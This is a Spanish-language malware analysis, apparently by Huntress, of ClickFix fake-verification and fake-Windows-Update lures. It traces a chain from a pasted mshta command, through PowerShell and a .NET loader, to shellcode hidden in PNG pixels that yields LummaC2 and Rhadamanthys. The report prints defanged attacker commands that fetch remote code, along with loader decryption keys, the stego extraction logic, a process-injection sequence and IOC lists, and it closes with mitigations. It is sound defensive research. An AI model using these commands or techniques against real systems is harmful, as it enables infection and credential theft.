ClickFix se pone creativo: malware escondido en imágenes

Este análisis detalla una cadena de ejecución de malware de varias etapas, que se origina a partir de un señuelo ClickFix y que conduce a la entrega de malware de robo de información, incluidos LummaC2 y Rhadamanthys. Un descubrimiento notable durante el análisis fue el uso de esteganografía por parte de la campaña para ocultar las etapas finales del malware dentro de una imagen. En lugar de simplemente añadir datos maliciosos al final de un archivo, el código malicioso se codifica directamente dentro de los datos de píxeles de imágenes PNG, apoyándose en canales de color específicos para reconstruir y descifrar el payload en memoria.

ClickFix es una técnica de ingeniería social que engaña a los usuarios finales para que peguen y ejecuten un comando malicioso. Huntress ha observado recientemente dos señuelos ClickFix distintos, vistos en incidentes que usan el cargador esteganográfico para entregar malware de robo de información. Aunque inicialmente observamos esta actividad originándose a partir de señuelos estándar de "Verificación humana" o comprobación de robot, los clústeres más recientes han aprovechado una pantalla falsa de Windows Update muy convincente. Esta nueva variante imita la pantalla azul de bienvenida de Windows Update a pantalla completa, mostrando animaciones realistas de "Trabajando en las actualizaciones" que finalmente terminan solicitando al usuario que siga el patrón estándar de ClickFix: abrir el cuadro Ejecutar (Win+R) y luego pegar y ejecutar el comando malicioso.

Cómo empieza: la comprobación de robot

Desde comienzos de octubre, Huntress ha identificado múltiples sitios señuelo de ClickFix que engañan a las víctimas para que ejecuten un comando malicioso, siguiendo un formato consistente y dando lugar a una cadena de ejecución única en varios incidentes. Durante un incidente, Huntress identificó el siguiente sitio web malicioso, hXXps://f6b04000.consent-verify.pages[.]dev/, que ya está fuera de línea, y que alojaba un señuelo de ClickFix:


Figura 1: Señuelo de verificación humana 

A partir de lo anterior, se les indica a las víctimas que presionen Win+R para abrir el cuadro Ejecutar de Windows, seguido de CTRL+V para pegar un comando que se copió automáticamente al portapapeles.


Figura 2: Resultado del cuadro Ejecutar de Windows para el señuelo de verificación humana 

Al interactuar manualmente, podemos confirmar que el comando mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz se copió automáticamente al portapapeles.

Al inspeccionar el código fuente del sitio señuelo de ClickFix, se revela que una parte del código fuente JavaScript malicioso está cifrada y solo se carga dinámicamente al visitar la página. Esto probablemente sea un intento de evadir las detecciones basadas en cadenas de texto.


Figura 3: Fragmento del código fuente del señuelo de ClickFix 

El código fuente de la segunda etapa se almacena cifrado dentro de la variable ENC. Las claves de descifrado se construyen a partir de la variable KEY_HEX usando la función hexToKey().

  • hexToKey()-> Convierte una cadena hexadecimal (KEY_HEX) en un Uint8Array de bytes

  • b64ToUint8Array() -> Decodifica en Base64 una cadena (ENC) a bytes sin procesar y la convierte en Uint8Array 

  • xorDecode()-> Descifra un arreglo de bytes con una clave XOR rotativa

  • uint8ToUtf8() -> Convierte bytes en una cadena UTF-8

  • reinject() -> Reemplaza los marcadores de posición en el código descifrado a partir de la variable URLS (vacía) 


Figura 4: Fragmento del código fuente del señuelo de ClickFix

Podemos ver que las funciones anteriores se invocan para descifrar y almacenar el código fuente JavaScript malicioso en texto plano dentro de la variable code, que se inyectará usando una URL de Blob. Técnicas similares de inyección de URL de Blob son usadas por el proyecto Violentmonkey:

  • Crear el script como un recurso en memoria:

    • var blob = new Blob([code], …)- envuelve el código fuente JavaScript descifrado en un objeto Blob

    • var blobUrl = URL.createObjectURL(blob)- produce una URL blob: que apunta a un "archivo" en memoria

  • Construir el script "s" y ejecutarlo:

    • var s = document.createElement('script') 

    • s.type = 'text/javascript'

    • s.src = blobUrl

    • var head = document.head || document.documentElement;

    • head.insertBefore(s, head.firstChild);

Además, podemos ver que, después de que se carga el script, la URL temporal blob: se revoca y se elimina:

s.onload = function(){ try{ URL.revokeObjectURL(blobUrl);}catch(e){} };

Al inspeccionar las herramientas de desarrollador o la salida de URLScan, podemos ver solicitudes correspondientes que responden a la URL de Blob que contiene el JavaScript malicioso de la "segunda etapa":


Figura 5: Solicitud de URL de Blob que aloja JavaScript


Figura 6: salida de URLScan que muestra la URL Blob de JavaScript

Este payload final de JavaScript no está ofuscado. El comando en texto plano, mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz, se copia al portapapeles usando navigator.clipboard.writeText().


Figura 7: JavaScript de URL Blob que copia el comando inicial de ClickFix al portapapeles


Figura 8: Diagrama que representa la cadena de ejecución que lleva a LummaC2

Etapa 1: mshta.exe

El comando inicial copiado al portapapeles usa mshta.exe para ejecutar un payload de JScript:

mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz


Loading Gist...


Esto ejecutará código de PowerShell, alojado en la URL hXXp://corezea[.]com/ebc, dentro de la memoria.

Etapa 2: cargador de PowerShell

El código de PowerShell descargado está lleno de código basura para confundir el análisis:


Figura 9: código basura incluido dentro del cargador de PowerShell para confundir el análisis 

Después de eliminar el código inútil, revelamos que un ensamblado .NET se descifra dinámicamente y se carga de forma reflectiva:


Figura 10: ensamblado .NET descifrado dinámicamente y cargado de forma reflectiva

Para hacer esto más comprensible, podemos renombrar las variables:


Figura 11: descifrado XOR depurado y carga del ensamblado .NET

Este código utiliza operaciones XOR a nivel de bits para descifrar el ensamblado. Este ensamblado .NET se carga, y se invoca el punto de entrada para iniciar la ejecución.

Etapa 3: ensamblado del cargador stego

El ensamblado .NET de la tercera etapa actúa como cargador de la cuarta etapa, que se almacena como shellcode usando esteganografía dentro de un archivo PNG cifrado incrustado. El código C# que facilita la inyección de shellcode también se almacena cifrado dentro del propio ensamblado .NET y se compila en otro ensamblado .NET, que se carga de forma reflectiva en tiempo de ejecución.

Abriendo el ensamblado .NET dentro de dnSpy para compilarlo a C# en texto plano:


Figura 12: salida de dnSpy que muestra el punto de entrada al ensamblado .NET

La función del punto de entrada, drkdbVkywZ(), comienza llamando a una cadena de 10.000 funciones vacías, una vez más para confundir el análisis.


Figura 13: salida de dnSpy de la cadena de llamadas trampolín 

Al final, se llama a AVP[…REDACTED…]ugU.sht[…REDACTED…]IXR(). Esta función luego llamará a wVR[…REDACTED…]NMu.ojo[…REDACTED…]sgY(), que inicia la ejecución maliciosa real:


Figura 14: salida de dnSpy que muestra el punto de entrada “real” al cargador


Podemos observar nombres de variables y funciones muy largos para confundir el análisis. Además, este cargador cifra con AES y codifica en base64 todas las cadenas de configuración, el código fuente en C# y la imagen usada para extraer el shellcode.

La configuración del ensamblado se construye dentro de la clase DcbCUbXDuZPWmoZkphlzTjZmxQmxHjZhyKAqGeerWJIDsyHiEevmUoatdPeePzWlaIxCOJEkcTCkBvUZjeTCNMmkJgnRaZCxNxDKafuVAljbLQSHUfVKGtyn:


Figura 15: salida de dnSpy que muestra el descifrado de la configuración

A partir de lo anterior, la clave AES y el IV usados para el descifrado están codificados en Base64. Podemos decodificarlos fácilmente para usarlos en descifrados futuros, aprovechando la clave AES (909cdc682e43492e) y el IV (01fe83e20bbe47f2).

Usando lo anterior, podemos descifrar las cadenas codificadas de forma fija y aprovechar operaciones de buscar y reemplazar para renombrar clases, funciones y variables. Después de hacerlo, podemos ver que la función real del punto de entrada, wVR[…REDACTED…]NMu.ojo[…REDACTED…]sgY(), ejecuta lo siguiente:


Figura 16: función del punto de entrada “real” desofuscada

  • stegoExtract.pullImageFromResource() -> se usa para extraer datos de imagen cifrados del recurso del manifiesto .NET

  • cryptoType.aesDecrypt() -> descifra con AES usando la clave e IV recuperadas anteriormente

  • stegoExtract.getShellcodeFromImage() -> usa un algoritmo stego personalizado para extraer el shellcode

  • executeStageFor.injectAndExecute() -> inyecta el shellcode en el proceso objetivo para su ejecución

Extracción de la imagen


Figura 17: función desofuscada para extraer el recurso del manifiesto

El método GetManifestResourceStream() se usa para cargar el recurso de manifiesto especificado desde este ensamblado. Desde la configuración, se proporciona el nombre de recurso cd8302542f494f4d8fbcb2d21425b316.


Figura 18: Salida de dnSpy mostrando el recurso de manifiesto

El recurso de manifiesto cd8302542f494f4d8fbcb2d21425b316 está cifrado con AES. Usando la función cryptoType.aesDecrypt(), podemos descifrarlo para obtener un archivo PNG real:


Figura 19: Imagen descifrada que contiene shellcode

Algoritmo de esteganografía

Una vez que los datos se extraen del recurso de manifiesto y se descifran con AES, se usa un algoritmo esteganográfico personalizado para extraer el shellcode del archivo PNG sin procesar.

  • Carga los bytes sin procesar del PNG desde el MemoryStream en un objeto System.Drawing.Bitmap para poder acceder a los datos de píxeles mediante la variable bitmap


Figura 20: Fragmento del algoritmo de esteganografía desofuscado

  • Las variables de alto y ancho de píxeles se definen a partir de bitmap, y se crean los arreglos array y array2

    • array se inicializa con width* height * 4 para contener los datos de píxeles BGRA

    • array2 se inicializa con width* height para almacenar el shellcode de un solo canal BGRA


Figura 21: Fragmento del algoritmo de esteganografía desofuscado 

  • Luego, se usa LockBits() para "bloquear un bitmap en la memoria del sistema", con permiso de solo lectura. Una vez bloqueados, los bytes de píxeles se leen de la memoria y se copian al arreglo.


Figura 22: Fragmento del algoritmo de esteganografía desofuscado

  • El bucle externo itera a través de las filas en la variable y

    • Para cada fila, se calcula un desplazamiento rowOffset para tener en cuenta el Stride

    • Un segundo bucle for itera a través de cada valor de columna x,  calculando el baseIndex (que apunta al inicio de los datos de píxeles), y luego sumando + 2 para acceder al canal 'R'

    • El nuevo índice, para el shellcode, se calcula usando y * width + x

    • Los bytes del shellcode cifrado se extraen usando el baseIndex

    • Estos se descifran aplicando XOR entre 114 y (255 - red)


Figura 23: Fragmento del algoritmo esteganográfico desofuscado 

  • Cada fila de píxeles podría estar rellenada en límites de 4 bytes por rendimiento. Stride es el número total de bytes por fila, en memoria (incluyendo los bytes de relleno adicionales)

  • Stride >= width * bytes por píxel

  • Si se ignora, la indexación sufrirá una desviación de configuración y provocará datos desordenados


Podemos recrear este algoritmo en Python para extraer el shellcode en bruto:

Loading Gist...

Etapa 4 - Compilación e inyección dinámica

Una vez que el shellcode se ha extraído y almacenado en el arreglo de bytes array, se llama a la función executeStageFor.injectAndExecute() para inyectar en explorer.exe. La función injectAndExecute() hará lo siguiente:

  • Descifrar el código fuente C# de la cuarta etapa para la inyección de procesos

  • Compilar el código fuente C# en un ensamblado .NET

  • Cargar de forma reflectiva el ensamblado .NET

  • Invocar una función en el ensamblado para inyectar shellcode en el proceso objetivo


Figura 24: Fragmento del código C# desofuscado que invoca la inyección de procesos

Podemos descifrar el código fuente para revelar cómo se realiza la inyección de procesos:


Figura 25: Fragmento del código fuente C# que se compila al ejecutarse

El fragmento anterior realiza la inyección de procesos estándar, con los siguientes alias establecidos para las funciones correspondientes de la API de Win32:

  • AllocEx ->  VirtualAllocEx (Asigna memoria dentro del espacio de direcciones virtual del proceso objetivo con permisos de ejecución (PAGE_EXECUTE_READWRITE))

  • ProccEx -> CreateProcessA (Crea un nuevo proceso en estado suspendido, lo que permite manipular la memoria antes de que comience la ejecución)

  • Mem -> WriteProcessMemory (Escribe el shellcode en la región de memoria previamente asignada del proceso objetivo)

  • Creater -> CreateRemoteThread (Crea un hilo en el espacio de direcciones virtual del proceso objetivo, con el punto de entrada del hilo configurado al payload inyectado)

  • Single -> WaitForSingleObject (Espera a que el hilo remoto termine de ejecutarse antes de continuar con las operaciones de limpieza)

  • Process ->  TerminateProcess (Termina el proceso objetivo después de que el payload haya terminado de ejecutarse)

  • Handle -> CloseHandle (Libera los identificadores de los objetos de proceso e hilo)

Etapa 5 - Donut Shellcode

El shellcode extraído con el algoritmo de esteganografía se inyecta en un proceso objetivo mediante un ensamblado secundario cargado reflectivamente. El shellcode de las muestras analizadas se empaquetó usando donut.


Figura 26: DiE identificando el shellcode de Donut 

Podemos usar la herramienta donut-decryptor para extraer la etapa final, en este caso, una muestra de LummaC2.


Figura 27: Extracción de LummaC2 desde el shellcode empaquetado con donut

Análisis de LummaC2

La analista sénior de Huntress y Response, Anna Pham, desarrolló un extractor de configuración actualizado para las muestras de LummaC2 que observamos en el entorno real:


Figura 28: Salida del extractor de configuración de LummaC2

La campaña evoluciona: hora de una actualización

Huntress también observó un señuelo único de ClickFix, en el que se engaña a las víctimas haciéndolas creer que Windows inició un ciclo de actualización, mientras el navegador entra en modo de pantalla completa y muestra una pantalla de Windows Update con apariencia genuina. Al final de la “actualización”, se anima a los usuarios a seguir el patrón habitual de Win+R y Ctrl+V para pegar un comando malicioso.

En estos casos, se observa la misma cadena de ejecución detallada en el señuelo de verificación humana. Comienza con un comando mshta.exe que contiene una URL donde el segundo octeto siempre está codificado en hexadecimal. Esto lleva a la ejecución de PowerShell, que descifra y carga dinámicamente un ensamblado .NET reflectivo que, a su vez, carga otro ensamblado .NET usado para la inyección de procesos. El shellcode inyectado en el proceso objetivo se extrae mediante esteganografía.

El análisis del shellcode extraído del cargador esteganográfico usado en la campaña del señuelo de Windows Update reveló un payload final distinto al de LummaC2, como se vio en los casos anteriores.


Figura 29: Señuelo falso de Windows Update

Este señuelo ya había sido compartido por la comunidad de seguridad:


Figura 30: Publicación en X sobre el señuelo de Windows Update 

Desde inicios de octubre, Huntress ha rastreado algunos grupos de actividad de ClickFix asociados a esta campaña de Windows Update. Uno de los grupos involucra la dirección IP 141.98.80[.]175, que se ha usado para entregar los payloads de primera y segunda etapa a partners de Huntress desde el 1 de octubre:


2025-10-01 - Informe 1 
  • Dominio de ClickFix de Windows Update: xcvcxoipoeww[.]site (192.124.176[.]103)

  • Etapa 1 (mshta): hXXp://141.0x62.80[.]175/tick.odd

  • Etapa 2 (PowerShell): securitysettings[.]live

  • Etapa 3 (cargador esteganográfico) -> … Rhadamanthys Stealer 


2025-10-05 - Informe 2 
  • Dominio de ClickFix de Windows Update: xcvcxoipoeww[.]site (192.124.176[.]103)

  • Etapa 1 (mshta): hXXp://141.0x62.80[.]175/gpsc.dat 

  • Etapa 2 (PowerShell): securitysettings[.]live (141.98.80[.]175)

  • Etapa 3 (cargador esteganográfico) -> … Rhadamanthys Stealer 


2025-10-13 - Informe 3
  • Dominio de ClickFix de Windows Update: N/A

  • Etapa 1 (mshta): hXXp://141.0x62.80[.]175/ercx.dat

  • Etapa 2 (PowerShell): xoiiasdpsdoasdpojas[.]com (141.98.80[.]175)

  • Etapa 3 (cargador esteganográfico) -> …  Rhadamanthys Stealer 


2025-10-15 - Informe 4
  • Dominio de ClickFix de Windows Update: N/A

  • Etapa 1 (mshta):  hXXp://141.0x62.80[.]175/rtdx.dat

  • Etapa 2 (PowerShell): xoiiasdpsdoasdpojas[.]com (141.98.80[.]175)

  • Etapa 3 (cargador esteganográfico) -> … Rhadamanthys Stealer 


Figura 31: Cadena de ejecución de Rhadamanthys Stealer


2025-10-17 - Informe 5
  • Dominio ClickFix de Windows Update: N/A

  • Etapa 1 (mshta):  hXXp://141.0x62.80[.]175/one.dat

  • Etapa 2 (PowerShell): xoiiasdpsdoasdpojas[.]com (141.98.80[.]175)

  • Etapa 3 (Stego. Loader) -> …  Rhadamanthys Stealer


El actor de amenazas suele cambiar la URI (/tick.odd, /gpsc.dat, /ercx.dat, etc.) usada para alojar la primera etapa de mshta.exe. Además, el actor de amenazas pasó de alojar la segunda etapa en el dominio securitysettings[.]live y en su lugar la alojó en xoiiasdpsdoasdpojas[.]com, aunque ambos apuntan a la misma dirección IP 141[.]98[.]80[.]175, ¡la cual también se usó para entregar la primera etapa!

Origen de Windows Update

El código fuente del sitio señuelo ClickFix de Windows Update no está ofuscado, contiene comentarios en ruso y tiene capacidades de registro que podemos aprovechar para identificar sitios adicionales.


Figura 32: Fragmento del código fuente del señuelo de Windows Update

A partir de lo anterior, el comando malicioso mshta hXXp://141.0x62.80[.]175/very.dat se pasa a la función navigator.clipboard.writeText() para copiarlo al portapapeles.


Figura 33: Fragmento de la función sendStat() usada para registrar la interacción


Figura 34: Fragmento de la llamada a la función sendStat() 

Además, la función sendStat() intentará hacer una solicitud POST a /r-pannel/stats.php. Podemos usar esto como punto de partida en URLScan para identificar sitios web ClickFix adicionales que alojan este señuelo:


Figura 35: Punto de partida para identificar sitios adicionales del señuelo de Windows Update

Conclusión

Huntress observó dos variantes distintas del señuelo ClickFix durante la investigación: una “Verificación de robot” estándar y una página de “Windows Update” más nueva y convincente. A pesar de los diferentes temas visuales, ambas campañas comienzan con un comando mshta.exe que contiene una URL con una dirección IP, donde el segundo octeto siempre está codificado en hexadecimal. Esto eventualmente lleva al despliegue del cargador esteganográfico .NET, que extrae shellcode empaquetado con Donut oculto dentro de los datos de píxeles de imágenes PNG.

Vale la pena señalar que este análisis se llevó a cabo tanto antes como después de las recientes acciones de desmantelamiento de la Operación Endgame contra la infraestructura de Rhadamanthys, anunciadas el 13 de noviembre. Hasta el 19 de noviembre, múltiples dominios activos (ver el Clúster 2 en la tabla de IOCs) continúan alojando la página señuelo de Windows Update asociada con la campaña de Rhadamanthys. Todos estos señuelos apuntan a la misma estructura de URL codificada en hexadecimal previamente vinculada al despliegue de Rhadamanthys, aunque parece que este payload ya no se está alojando.

En última instancia, si bien el uso de esteganografía ayuda a que estos payloads evadan la detección basada en firmas y complica el análisis, los ataques dependen de un mecanismo de entrega simple: la víctima abre manualmente el cuadro Ejecutar de Windows para pegar un comando malicioso. Para detener esto, las organizaciones deben asegurarse de que los usuarios estén capacitados para identificar estas tácticas de señuelo ClickFix. Huntress también recomienda implementar controles de mitigación, como deshabilitar el aviso Ejecutar mediante cambios en el registro o políticas de grupo.

Mitigaciones

La forma más eficaz de mitigar ClickFix es deshabilitando el cuadro Ejecutar de Windows, lo cual se puede hacer con la siguiente modificación del registro:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f

Recomendaciones

  • Bloquear el cuadro Ejecutar de Windows: Implementa las modificaciones de registro anteriores o despliega políticas GPO para bloquear la interacción con el cuadro Ejecutar de Windows

  • security awareness training: Asegúrate de que los usuarios estén capacitados en la metodología ClickFix, destacando que los procesos legítimos de prueba CAPTCHA o de Windows Update nunca requerirán pegar y ejecutar comandos 

  • Monitorear el linaje de procesos sospechosos: Usa la telemetría de EDR para monitorear si explorer.exe genera mshta.exe, powershell.exe, u otros binarios living-off-the-land con líneas de comando inesperadas

  • Auditar el artefacto de registro RunMRU: Al investigar un posible compromiso, los analistas pueden potencialmente verificar si un usuario ingresó comandos en el cuadro Ejecutar de Windows, inspeccionando la lista “Most Recently Used” (MRU):

    • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

IOCs

Elemento

Descripción

Sitios web señuelo de ClickFix:

1e442295.consent-verify.pages[.]dev

5df43170.consent-verify.pages[.]dev

3b4ce6c9.consent-verify.pages[.]dev

6b04000.consent-verify.pages[.]dev

f6b04000.consent-verify.pages[.]dev

3e6eb645.consent-verify.pages[.]dev

d9e71335.consent-verify.pages[.]dev


URL de la etapa 1:

hXXp://81.90.29[.]64/ebc/rps.gz


URL de la etapa 2:

hXXp://corezea[.]com/ebc (81.90.29[.]64)


C2: 

hypudyk[.]shop

squatje[.]su/asdasd

bendavo[.]su/asdsa

conxmsw[.]su/vcsf

narroxp[.]su/rewd

squeaue[.]su/qwe

ozonelf[.]su/asd

exposqw[.]su/casc

squatje[.]su/asdasd

vicareu[.]su/bcdf

Indicadores de señuelo de ClickFix Robot y LummaC2

Sitios web señuelo de ClickFix:

xmcniiadpwqw[.]site
cvcxoipoeww[.]site
xoiiasdpsdoasdpojas[.]com
xpoalswwkjddsljsy[.]com
galaxyswapper[.]pro


URL de la etapa 1:

hXXp://141.98.80[.]175/tick.odd

hXXp://141.98.80[.]175/gpsc.dat

hXXp://141.98.80[.]175/ercx.dat

hXXp://141.98.80[.]175/rtdx.dat

hXXp://141.98.80[.]175/very.dat


URL de la etapa 2:

hXXp://securitysettings[.]live

hXXp://xoiiasdpsdoasdpojas[.]com

Indicadores de señuelo de actualización de Windows (grupo 1)

Sitios web señuelo de ClickFix:

cmevents[.]live 

cmevents[.]pro

cosmicpharma-bd[.]com

groupewadesecurity[.]com 

sportsstories[.]gr

virhtechgmbh[.]com


URL de la etapa 1:

hXXtp://94.74.164[.]136/fifx.odd


Indicadores de señuelo de actualización de Windows (grupo 2)

También te podría interesar